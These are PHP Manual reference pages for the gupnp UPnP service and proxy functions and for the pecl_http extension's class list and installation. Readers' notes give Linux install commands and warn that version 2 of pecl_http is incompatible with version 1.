Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_start() - Start main loop

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the specified action arguments

  • « gupnp_root_device_stop
  • gupnp_service_action_return_error »
  • PHP Manual
  • Gupnp Functions
  • Retrieves the specified action arguments

gupnp_service_action_get

(PECL gupnp >= 0.1.0)

gupnp_service_action_get — Retrieves the specified action arguments

Description

mixed gupnp_service_action_get ( resource $action , string $name , int $type )

Retrieves the specified action arguments.

Parameters

action

A service action identifier.

name

The name of the variable to retrieve.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

The value of the variable.

Errors/Exceptions

Issues E_WARNING with not correctly defined type of the variable.

See Also

  • gupnp_service_action_set() - Sets the specified action return values

User Contributed Notes

There are no user contributed notes for this page.


Return error code

  • « gupnp_service_action_get
  • gupnp_service_action_return »
  • PHP Manual
  • Gupnp Functions
  • Return error code

gupnp_service_action_return_error

(PECL gupnp >= 0.1.0)

gupnp_service_action_return_error — Return error code

Description

bool gupnp_service_action_return_error ( resource $action , int $error_code [, string $error_description ] )

Return error code.

Parameters

action

A service action identifier.

error_code

The error code. Signal can be one of the following values or user defined:

GUPNP_CONTROL_ERROR_INVALID_ACTION
The action name was invalid.
GUPNP_CONTROL_ERROR_INVALID_ARGS
The action arguments were invalid.
GUPNP_CONTROL_ERROR_OUT_OF_SYNC
Out of sync (deprecated).
GUPNP_CONTROL_ERROR_ACTION_FAILED
The action failed.

error_description

The error description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_action_return() - Return successfully

User Contributed Notes

There are no user contributed notes for this page.


Return successfully

  • « gupnp_service_action_return_error
  • gupnp_service_action_set »
  • PHP Manual
  • Gupnp Functions
  • Return successfully

gupnp_service_action_return

(PECL gupnp >= 0.1.0)

gupnp_service_action_return — Return successfully

Description

bool gupnp_service_action_return ( resource $action )

Return successfully.

Parameters

action

A service action identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_action_return_error() - Return error code

User Contributed Notes

There are no user contributed notes for this page.


Sets the specified action return values

  • « gupnp_service_action_return
  • gupnp_service_freeze_notify »
  • PHP Manual
  • Gupnp Functions
  • Sets the specified action return values

gupnp_service_action_set

(PECL gupnp >= 0.1.0)

gupnp_service_action_set — Sets the specified action return values

Description

bool gupnp_service_action_set ( resource $action , string $name , int $type , mixed $value )

Sets the specified action return values.

Parameters

action

A service action identifier.

name

The name of the variable to retrieve.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

value

The value of the variable to retrieve.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with neither not correctly defined type of the variable or the value is not corresponding to the defined type.

See Also

  • gupnp_service_action_get() - Retrieves the specified action arguments

User Contributed Notes

There are no user contributed notes for this page.


Freeze new notifications

  • « gupnp_service_action_set
  • gupnp_service_info_get_introspection »
  • PHP Manual
  • Gupnp Functions
  • Freeze new notifications

gupnp_service_freeze_notify

(PECL gupnp >= 0.1.0)

gupnp_service_freeze_notify — Freeze new notifications

Description

bool gupnp_service_freeze_notify ( resource $service )

Causes new notifications to be queued up until gupnp_service_thaw_notify() is called.

Parameters

service

A service identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_notify() - Notifies listening clients
  • gupnp_service_thaw_notify() - Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.


Get resource introspection of service

  • « gupnp_service_freeze_notify
  • gupnp_service_info_get »
  • PHP Manual
  • Gupnp Functions
  • Get resource introspection of service

gupnp_service_info_get_introspection

(PECL gupnp >= 0.1.0)

gupnp_service_info_get_introspection — Get resource introspection of service

Description

mixed gupnp_service_info_get_introspection ( resource $proxy [, mixed $callback [, mixed $arg ]] )

Get resource introspection of service or register callback if corresponding parameter was passed.

Parameters

proxy

A service proxy identifier.

callback

The callback function to be called when introspection object is ready. Typically, callback function takes on three parameters. The introspection parameter's identifier being the first, error parameter's message being the second, and the arg is third.

arg

User data for callback.

Return Values

Return true if callback function was defined. Return introspection identifier if callback function was omited.

Errors/Exceptions

Issues E_WARNING with not valid callback function.

User Contributed Notes

There are no user contributed notes for this page.


Get full info of service

  • « gupnp_service_info_get_introspection
  • gupnp_service_introspection_get_state_variable »
  • PHP Manual
  • Gupnp Functions
  • Get full info of service

gupnp_service_info_get

(PECL gupnp >= 0.1.0)

gupnp_service_info_get — Get full info of service

Description

array gupnp_service_info_get ( resource $proxy )

Get full info of service.

Parameters

proxy

A service proxy identifier.

Return Values

Return array wich contains the information of the service (like location, url, udn and etc).

User Contributed Notes

There are no user contributed notes for this page.


Returns the state variable data

  • « gupnp_service_info_get
  • gupnp_service_notify »
  • PHP Manual
  • Gupnp Functions
  • Returns the state variable data

gupnp_service_introspection_get_state_variable

(PECL gupnp >= 0.1.0)

gupnp_service_introspection_get_state_variable — Returns the state variable data

Description

array gupnp_service_introspection_get_state_variable ( resource $introspection , string $variable_name )

Returns the state variable data by the name variable_name in this service.

Parameters

introspection

A introspection identifier.

variable_name

The name of the variable to retreive.

Return Values

Return the state variable data or FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Notifies listening clients

  • « gupnp_service_introspection_get_state_variable
  • gupnp_service_proxy_action_get »
  • PHP Manual
  • Gupnp Functions
  • Notifies listening clients

gupnp_service_notify

(PECL gupnp >= 0.1.0)

gupnp_service_notify — Notifies listening clients

Description

bool gupnp_service_notify ( resource $service , string $name , int $type , mixed $value )

Notifies listening clients that the property have changed to the specified values.

Parameters

service

A service identifier.

name

The name of the variable.

type

The type of the variable. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

value

The value of the variable.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the variable or the value is not corresponding to the defined type.

See Also

  • gupnp_service_freeze_notify() - Freeze new notifications
  • gupnp_service_thaw_notify() - Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.


Send action to the service and get value

  • « gupnp_service_notify
  • gupnp_service_proxy_action_set »
  • PHP Manual
  • Gupnp Functions
  • Send action to the service and get value

gupnp_service_proxy_action_get

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_action_get — Send action to the service and get value

Description

mixed gupnp_service_proxy_action_get ( resource $proxy , string $action , string $name , int $type )

Send action with parameters to the service exposed by proxy synchronously and get value.

Parameters

proxy

A service proxy identifier.

action

An action.

name

The action name.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

Return value of the action.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the action or unable to send action.

See Also

  • gupnp_service_proxy_action_set() - Send action to the service and set value
  • gupnp_service_proxy_send_action() - Send action with multiple parameters synchronously

User Contributed Notes

There are no user contributed notes for this page.


Send action to the service and set value

  • « gupnp_service_proxy_action_get
  • gupnp_service_proxy_add_notify »
  • PHP Manual
  • Gupnp Functions
  • Send action to the service and set value

gupnp_service_proxy_action_set

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_action_set — Send action to the service and set value

Description

bool gupnp_service_proxy_action_set ( resource $proxy , string $action , string $name , mixed $value , int $type )

Send action with parameters to the service exposed by proxy synchronously and set value.

Parameters

proxy

A service proxy identifier.

action

An action.

name

The action name.

value

The action value.

type

The type of the action. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the action or unable to send action.

See Also

  • gupnp_service_proxy_action_get() - Send action to the service and get value
  • gupnp_service_proxy_send_action() - Send action with multiple parameters synchronously

User Contributed Notes

There are no user contributed notes for this page.


Sets up callback for variable change notification

  • « gupnp_service_proxy_action_set
  • gupnp_service_proxy_callback_set »
  • PHP Manual
  • Gupnp Functions
  • Sets up callback for variable change notification

gupnp_service_proxy_add_notify

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_add_notify — Sets up callback for variable change notification

Description

bool gupnp_service_proxy_add_notify ( resource $proxy , string $value , int $type , mixed $callback [, mixed $arg ] )

Sets up callback to be called whenever a change notification for variable is recieved.

Parameters

proxy

A service proxy identifier.

value

The variable to add notification for.

type

The type of the variable. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

callback

The callback to call when variable changes. Typically, callback function takes on three parameters. The variable parameter being the first, value parameter being the second, and the arg is third.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_remove_notify() - Cancels the variable change notification

User Contributed Notes

There are no user contributed notes for this page.


Set service proxy callback for signal

  • « gupnp_service_proxy_add_notify
  • gupnp_service_proxy_get_subscribed »
  • PHP Manual
  • Gupnp Functions
  • Set service proxy callback for signal

gupnp_service_proxy_callback_set

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_callback_set — Set service proxy callback for signal

Description

bool gupnp_service_proxy_callback_set ( resource $proxy , int $signal , mixed $callback [, mixed $arg ] )

Set service proxy callback for signal.

Parameters

proxy

A service proxy identifier.

signal

The value of signal.

GUPNP_SIGNAL_SUBSCRIPTION_LOST
Emitted whenever the subscription to this service has been lost due to an error condition.

callback

The callback function for the certain signal. Typically, callback function takes on two parameters. error parameter's message being the first, and the arg is second.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING either with not valid callback function or with not valid signal.

User Contributed Notes

There are no user contributed notes for this page.


Check whether subscription is valid to the service

  • « gupnp_service_proxy_callback_set
  • gupnp_service_proxy_remove_notify »
  • PHP Manual
  • Gupnp Functions
  • Check whether subscription is valid to the service

gupnp_service_proxy_get_subscribed

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service

Description

bool gupnp_service_proxy_get_subscribed ( resource $proxy )

Check whether subscription is valid to the service.

Parameters

proxy

A service proxy identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_set_subscribed() - (Un)subscribes to the service.

User Contributed Notes

There are no user contributed notes for this page.


Cancels the variable change notification

  • « gupnp_service_proxy_get_subscribed
  • gupnp_service_proxy_send_action »
  • PHP Manual
  • Gupnp Functions
  • Cancels the variable change notification

gupnp_service_proxy_remove_notify

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_remove_notify — Cancels the variable change notification

Description

bool gupnp_service_proxy_remove_notify ( resource $proxy , string $value )

Cancels the variable change notification.

Parameters

proxy

A service proxy identifier.

value

The variable to add notification for.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_add_notify() - Sets up callback for variable change notification

User Contributed Notes

There are no user contributed notes for this page.


Send action with multiple parameters synchronously

  • « gupnp_service_proxy_remove_notify
  • gupnp_service_proxy_set_subscribed »
  • PHP Manual
  • Gupnp Functions
  • Send action with multiple parameters synchronously

gupnp_service_proxy_send_action

(PECL gupnp >= 0.2.0)

gupnp_service_proxy_send_action — Send action with multiple parameters synchronously

Description

array gupnp_service_proxy_send_action ( resource $proxy , string $action , array $in_params , array $out_params )

Send action with parameters in_params to the service exposed by proxy synchronously and return out_params with values or FALSE on error.

Parameters

proxy

A service proxy identifier.

action

An action.

in_params

An array of in parameters. Each entry in in_params is supposed to an array containing name, type and value of the parameters.

out_params

An array of out parameters. Each entry in out_params is supposed to an array containing name and type of the parameters.

Return Values

Return out_params array with values or FALSE on error.

Errors/Exceptions

Issues E_WARNING with either not correctly defined in_params and out_params or unable to send action.

See Also

  • gupnp_service_proxy_action_get() - Send action to the service and get value
  • gupnp_service_proxy_action_set() - Send action to the service and set value

User Contributed Notes

There are no user contributed notes for this page.


(Un)subscribes to the service.

  • « gupnp_service_proxy_send_action
  • gupnp_service_thaw_notify »
  • PHP Manual
  • Gupnp Functions
  • (Un)subscribes to the service.

gupnp_service_proxy_set_subscribed

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.

Description

bool gupnp_service_proxy_set_subscribed ( resource $proxy , bool $subscribed )

(Un)subscribes to the service.

Parameters

proxy

A service proxy identifier.

subscribed

Set TRUE to subscribe to this service.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_get_subscribed() - Check whether subscription is valid to the service

User Contributed Notes

There are no user contributed notes for this page.


Sends out any pending notifications and stops queuing of new ones.

  • « gupnp_service_proxy_set_subscribed
  • HTTP »
  • PHP Manual
  • Gupnp Functions
  • Sends out any pending notifications and stops queuing of new ones.

gupnp_service_thaw_notify

(PECL gupnp >= 0.1.0)

gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

Description

bool gupnp_service_thaw_notify ( resource $service )

Sends out any pending notifications and stops queuing of new ones.

Parameters

service

A service identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_notify() - Notifies listening clients
  • gupnp_service_freeze_notify() - Freeze new notifications

User Contributed Notes

There are no user contributed notes for this page.


HTTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installing the HTTP extension — Installation/Configuration
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Request Options — Options usable with the HttpRequest class and request functions
  • HttpDeflateStream — The HttpDeflateStream class
    • HttpDeflateStream::__construct — HttpDeflateStream class constructor
    • HttpDeflateStream::factory — HttpDeflateStream class factory
    • HttpDeflateStream::finish — Finalize deflate stream
    • HttpDeflateStream::flush — Flush deflate stream
    • HttpDeflateStream::update — Update deflate stream
  • HttpInflateStream — The HttpInflateStream class
    • HttpInflateStream::__construct — HttpInflateStream class constructor
    • HttpInflateStream::factory — HttpInflateStream class factory
    • HttpInflateStream::finish — Finalize inflate stream
    • HttpInflateStream::flush — Flush inflate stream
    • HttpInflateStream::update — Update inflate stream
  • HttpMessage — The HttpMessage class
    • HttpMessage::addHeaders — Add headers
    • HttpMessage::__construct — HttpMessage constructor
    • HttpMessage::detach — Detach HttpMessage
    • HttpMessage::factory — Create HttpMessage from string
    • HttpMessage::fromEnv — Create HttpMessage from environment
    • HttpMessage::fromString — Create HttpMessage from string
    • HttpMessage::getBody — Get message body
    • HttpMessage::getHeader — Get header
    • HttpMessage::getHeaders — Get message headers
    • HttpMessage::getHttpVersion — Get HTTP version
    • HttpMessage::getParentMessage — Get parent message
    • HttpMessage::getRequestMethod — Get request method
    • HttpMessage::getRequestUrl — Get request URL
    • HttpMessage::getResponseCode — Get response code
    • HttpMessage::getResponseStatus — Get response status
    • HttpMessage::getType — Get message type
    • HttpMessage::guessContentType — Guess content type
    • HttpMessage::prepend — Prepend message(s)
    • HttpMessage::reverse — Reverse message chain
    • HttpMessage::send — Send message
    • HttpMessage::setBody — Set message body
    • HttpMessage::setHeaders — Set headers
    • HttpMessage::setHttpVersion — Set HTTP version
    • HttpMessage::setRequestMethod — Set request method
    • HttpMessage::setRequestUrl — Set request URL
    • HttpMessage::setResponseCode — Set response code
    • HttpMessage::setResponseStatus — Set response status
    • HttpMessage::setType — Set message type
    • HttpMessage::toMessageTypeObject — Create HTTP object regarding message type
    • HttpMessage::toString — Get string representation
  • HttpQueryString — The HttpQueryString class
    • HttpQueryString::__construct — HttpQueryString constructor
    • HttpQueryString::get — Get the query string or a part thereof
    • HttpQueryString::mod — Modifiy query string copy
    • HttpQueryString::set — Set query string params
    • HttpQueryString::singleton — HttpQueryString singleton
    • HttpQueryString::toArray — Get query string as array
    • HttpQueryString::toString — Get query string
    • HttpQueryString::xlate — Change query strings charset
  • HttpRequest — The HttpRequest
    • HttpRequest::addCookies — Add cookies
    • HttpRequest::addHeaders — Add headers
    • HttpRequest::addPostFields — Add post fields
    • HttpRequest::addPostFile — Add post file
    • HttpRequest::addPutData — Add put data
    • HttpRequest::addQueryData — Add query data
    • HttpRequest::addRawPostData — Add raw post data
    • HttpRequest::addSslOptions — Add ssl options
    • HttpRequest::clearHistory — Clear history
    • HttpRequest::__construct — HttpRequest constructor
    • HttpRequest::enableCookies — Enable cookies
    • HttpRequest::getContentType — Get content type
    • HttpRequest::getCookies — Get cookies
    • HttpRequest::getHeaders — Get headers
    • HttpRequest::getHistory — Get history
    • HttpRequest::getMethod — Get method
    • HttpRequest::getOptions — Get options
    • HttpRequest::getPostFields — Get post fields
    • HttpRequest::getPostFiles — Get post files
    • HttpRequest::getPutData — Get put data
    • HttpRequest::getPutFile — Get put file
    • HttpRequest::getQueryData — Get query data
    • HttpRequest::getRawPostData — Get raw post data
    • HttpRequest::getRawRequestMessage — Get raw request message
    • HttpRequest::getRawResponseMessage — Get raw response message
    • HttpRequest::getRequestMessage — Get request message
    • HttpRequest::getResponseBody — Get response body
    • HttpRequest::getResponseCode — Get response code
    • HttpRequest::getResponseCookies — Get response cookie(s)
    • HttpRequest::getResponseData — Get response data
    • HttpRequest::getResponseHeader — Get response header(s)
    • HttpRequest::getResponseInfo — Get response info
    • HttpRequest::getResponseMessage — Get response message
    • HttpRequest::getResponseStatus — Get response status
    • HttpRequest::getSslOptions — Get ssl options
    • HttpRequest::getUrl — Get url
    • HttpRequest::resetCookies — Reset cookies
    • HttpRequest::send — Send request
    • HttpRequest::setBody — Set request body to send, overwriting previously set request body.
    • HttpRequest::setContentType — Set content type
    • HttpRequest::setCookies — Set cookies
    • HttpRequest::setHeaders — Set headers
    • HttpRequest::setMethod — Set method
    • HttpRequest::setOptions — Set options
    • HttpRequest::setPostFields — Set post fields
    • HttpRequest::setPostFiles — Set post files
    • HttpRequest::setPutData — Set put data
    • HttpRequest::setPutFile — Set put file
    • HttpRequest::setQueryData — Set query data
    • HttpRequest::setRawPostData — Set raw post data
    • HttpRequest::setSslOptions — Set ssl options
    • HttpRequest::setUrl — Set URL
  • HttpRequestPool — The HttpRequestPool class
    • HttpRequestPool::attach — Attach HttpRequest
    • HttpRequestPool::__construct — HttpRequestPool constructor
    • HttpRequestPool::__destruct — HttpRequestPool destructor
    • HttpRequestPool::detach — Detach HttpRequest
    • HttpRequestPool::getAttachedRequests — Get attached requests
    • HttpRequestPool::getFinishedRequests — Get finished requests
    • HttpRequestPool::reset — Reset request pool
    • HttpRequestPool::send — Send all requests
    • HttpRequestPool::socketPerform — Perform socket actions
    • HttpRequestPool::socketSelect — Perform socket select
  • HttpResponse — The HttpResponse
    • HttpResponse::capture — Capture script output
    • HttpResponse::getBufferSize — Get buffer size
    • HttpResponse::getCache — Get cache
    • HttpResponse::getCacheControl — Get cache control
    • HttpResponse::getContentDisposition — Get content disposition
    • HttpResponse::getContentType — Get content type
    • HttpResponse::getData — Get data
    • HttpResponse::getETag — Get ETag
    • HttpResponse::getFile — Get file
    • HttpResponse::getGzip — Get gzip
    • HttpResponse::getHeader — Get header
    • HttpResponse::getLastModified — Get last modified
    • HttpResponse::getRequestBody — Get request body
    • HttpResponse::getRequestBodyStream — Get request body stream
    • HttpResponse::getRequestHeaders — Get request headers
    • HttpResponse::getStream — Get Stream
    • HttpResponse::getThrottleDelay — Get throttle delay
    • HttpResponse::guessContentType — Guess content type
    • HttpResponse::redirect — Redirect
    • HttpResponse::send — Send response
    • HttpResponse::setBufferSize — Set buffer size
    • HttpResponse::setCache — Set cache
    • HttpResponse::setCacheControl — Set cache control
    • HttpResponse::setContentDisposition — Set content disposition
    • HttpResponse::setContentType — Set content type
    • HttpResponse::setData — Set data
    • HttpResponse::setETag — Set ETag
    • HttpResponse::setFile — Set file
    • HttpResponse::setGzip — Set gzip
    • HttpResponse::setHeader — Set header
    • HttpResponse::setLastModified — Set last modified
    • HttpResponse::setStream — Set stream
    • HttpResponse::setThrottleDelay — Set throttle delay
    • HttpResponse::status — Send HTTP response status
  • HTTP Functions
    • http_cache_etag — Caching by ETag
    • http_cache_last_modified — Caching by last modification
    • http_chunked_decode — Decode chunked-encoded data
    • http_deflate — Deflate data
    • http_inflate — Inflate data
    • http_build_cookie — Build cookie string
    • http_date — Compose HTTP RFC compliant date
    • http_get_request_body_stream — Get request body as stream
    • http_get_request_body — Get request body as string
    • http_get_request_headers — Get request headers as array
    • http_match_etag — Match ETag
    • http_match_modified — Match last modification
    • http_match_request_header — Match any header
    • http_support — Check built-in HTTP support
    • http_negotiate_charset — Negotiate client's preferred character set
    • http_negotiate_content_type — Negotiate client's preferred content type
    • http_negotiate_language — Negotiate client's preferred language
    • ob_deflatehandler — Deflate output handler
    • ob_etaghandler — ETag output handler
    • ob_inflatehandler — Inflate output handler
    • http_parse_cookie — Parse HTTP cookie
    • http_parse_headers — Parse HTTP headers
    • http_parse_message — Parse HTTP messages
    • http_parse_params — Parse parameter list
    • http_persistent_handles_clean — Clean up persistent handles
    • http_persistent_handles_count — Stat persistent handles
    • http_persistent_handles_ident — Get/set ident of persistent handles
    • http_get — Perform GET request
    • http_head — Perform HEAD request
    • http_post_data — Perform POST request with pre-encoded data
    • http_post_fields — Perform POST request with data to be encoded
    • http_put_data — Perform PUT request with data
    • http_put_file — Perform PUT request with file
    • http_put_stream — Perform PUT request with stream
    • http_request_body_encode — Encode request body
    • http_request_method_exists — Check whether request method exists
    • http_request_method_name — Get request method name
    • http_request_method_register — Register request method
    • http_request_method_unregister — Unregister request method
    • http_request — Perform custom request
    • http_redirect — Issue HTTP redirect
    • http_send_content_disposition — Send Content-Disposition
    • http_send_content_type — Send Content-Type
    • http_send_data — Send arbitrary data
    • http_send_file — Send file
    • http_send_last_modified — Send Last-Modified
    • http_send_status — Send HTTP response status
    • http_send_stream — Send stream
    • http_throttle — HTTP throttling
    • http_build_str — Build query string
    • http_build_url — Build a URL

User Contributed Notes

mike at php dot net 10-Dec-2013 06:49
Documentation for version 2 of this extension is available here:
http://devel-m6w6.rhcloud.com/mdref/http/


Introduction

The HTTP extension aims to provide a convenient and powerful set of functionality for major applications.

If you are looking for documentation of version 2 of this extension, please find a complete reference at » http://devel-m6w6.rhcloud.com/mdref/http/.

The HTTP extension eases handling of HTTP URLs, dates, redirects, headers and messages in a HTTP context (both incoming and outgoing). It also provides means for client negotiation of preferred language and charset, as well as a convenient way to exchange arbitrary data with caching and resuming capabilities.

Also provided is a powerful request and parallel interface (PHP 5+), if the extension is built with cURL support.

Additionally to the API reference in this manual you can find information about how to install and configure as well as which global constants are predefined in the following sections:

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installing the HTTP extension
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The HttpResponse class requires at least PHP v5.1. Any other class is available as of PHP v5.0.

Note: Be aware though, that some methods are not available with PHP v5.0.

Installation requirements on Windows

In order to be able to load this extension on Windows, you additionally need to load the following PHP extensions: hash, iconv and SPL.

Installation requirements on other platforms

The extension must be built with » libcurl support to enable request functionality (--with-http-curl-requests). A library version equal or greater to v7.12.3 is required.

To enable support for sending and receiving compressed responses, the extension must be built with » zlib support (--with-http-zlib-compression). A library version equal or greater than v1.2.2 is required.

Content type guessing can be enabled by building this extension with » libmagic support (--with-http-magic-mime).

User Contributed Notes

There are no user contributed notes for this page.


Installation/Configuration

Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/pecl_http.

Note: The official name of this extension is pecl_http.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

dingxiaosong1987 at gmail dot com 22-May-2014 06:13
centos 6.3 64

compile error

yum install libcurl-devel.x86_64

then ok
Anonymous 10-May-2014 04:15
On debian 7 I had to do the following:

root@mp1:~# apt-get install php-http
root@mp1:~# apt-get install php5-dev
root@mp1:~# apt-get install libcurl3
root@mp1:~# apt-get install libpcre3-dev
root@mp1:~# apt-get install libcurl4-openssl-dev
root@mp1:~# pecl install pecl_http-1.7.6

add extension=http.so into /etc/php5/apache2/php.ini

root@mp1:~# /etc/init.d/apache2 restart
Anonymous 04-Apr-2014 04:30
!!! WARNING !!!

Version 2 of this library is COMPLETELY INCOMPATIBLE with Version 1!

None of the HTTP functions exist in Version 2!

This is NOT stated ANYWHERE in the docs on PHP.net.

From the looks of it Version 2 is a completely OOP interface and drops support for all the functions listed here in the docs.

If you are looking for the functional API use Version 1!
Anonymous 27-Feb-2014 11:17
Hi guys

I am configuring this on Ubuntu system and when I tried to run

pecl install pecl_http

it used to fail because it did not find pcre.h
I found out that I need to apt-get install

libcurl4-openssl-dev
libevent-dev
libpcre3-dev                       - here is where the pcre.h is available

then I run it again and when it asks me for the zlib, libcurl and libevent I specify the respective folders where the src of each of them is located.

So in that way it worked, and the pecl managed to corectly compile a brand new 'http.so' just under '/usr/lib/php5/20090626+lfs/http.so'

Then under both of

    /etc/php5/apache2/php.ini
    and
    /etc/php5/cli/php.ini

I inserted this:
     extension=/usr/lib/php5/20090626+lfs/http.so

I'am really not sure which of the php.ini files above is the really correct one.

PS: Sources of zlib, libcurl and libevent if you need to download them manually:
zlib:           http://zlib.net/zlib-1.2.8.tar.gz
libcurl:     http://curl.haxx.se/download/curl-7.35.0.tar.gz
libevent: https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz
ross dot carver at avantalytics dot com 02-Jan-2014 06:10
on a amazon linux install with php54, you'll get errors using pecl_http 2.03 from the command line  unless you add the following to your php.ini file:

extension=json.so
extension=raphf.so
extension=propro.so
extension=http.so

also make sure chmod ug+x http.so (and any of the other extensions for that matter).

If you do this and get a warning about json.so being already loaded - its likely that there is a separate ini file for json  in /etc/php.d/json.ini where this line is included as well.  It is necessary that you comment out line in json.ini as it is being called second and causing the warning

environment - php-fpm / nginx

HTH
csaltos at gmail dot com 10-Dec-2013 12:02
The pecl_http version 1 is no longer the default major version, so many of the functions and references in this documentation will not work with newer versions.

Try to install the correct pecl_http package for the version 1 you want to use, or refer to a newer version described in the pecl package you want to install.

In my case, I want the version 1, so I issued the command:

pecl install http://pecl.php.net/get/pecl_http-1.7.6.tgz

Ensure you have the latest minor versions for the pecl_http package specified at http://pecl.php.net/package/pecl_http

The documentation for pecl_http version 2 is at http://devel-m6w6.rhcloud.com/mdref/http but I warn you, the version 2 is too different, actually simple functions like http_redirect do not exist in version 2. (I'm wondering, why they did not use a different project name if the version 2 is so different !!)
d4p3r 29-Nov-2013 07:10
Look out! Since version 2.0, the extension has been completely renovated. Now you need to pre-load the extensions "raphf", "propro" and "spl". This work for me in Ubuntu 12.04:

apt-get install php-http
pecl install pecl_http

- In php.ini files:
     extension=raphf.so
     extension=propro.so
     extension=http.so

The spl extension is compiled by default in PHP 5.0.0 and since version 5.3.0 can not be disabled.

In addition, instantiation should be done using namespaces nomenclature, such as: new http \ Client ().

Beware! This version is incompatible with version 1 and the  event extension.

More information: http://devel-m6w6.rhcloud.com/mdref/http/
phpsharma at gmail dot com 18-Nov-2013 04:31
A DLL for this PECL extension is currently unavailable. See also the building on Windows section.
Anonymous 29-Oct-2013 12:37
PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/http.so' - /usr/lib64/php/modules/http.so: undefined symbol: php_iconv_string in Unknown on line 0
Anon 13-Aug-2013 08:50
Latest dlls can be found here: http://windows.php.net/downloads/pecl/releases/http/
JeroenVD 24-Jul-2013 01:04
On my Centos 6.4:

chmod +x /usr/lib64/php/modules/http.so
cheese dot cube at gmail dot com 01-Feb-2013 05:14
To install this PECL extension on Ubuntu 12.10 run the following:

sudo apt-get install php-http make
sudo pecl install pecl_http

Then add the line "extension=http.so" to php.ini (Normally located at /etc/php5/apache2/php.ini) and restart Apache (sudo service apache2 restart).
anon at anon dot com 23-Jul-2012 07:31
For others who can't find pecl_http for PHP 5.3 on Windows...

You can download php_http.dll for PHP 5.3 from the official PHP for Windows site (windows.php.net) at http://downloads.php.net/pierre/
bruno dot braga at gmail dot com 31-May-2012 12:15
In Ubuntu 12.04:

# (curl-devel equivalent in Ubuntu is libcurl4-gnutls-dev)
sudo apt-get install libcurl3 php5-dev libcurl4-gnutls-dev libmagic-dev
sudo pecl install pecl_http
aeternuslibertas at gmail dot com 06-Mar-2012 05:34
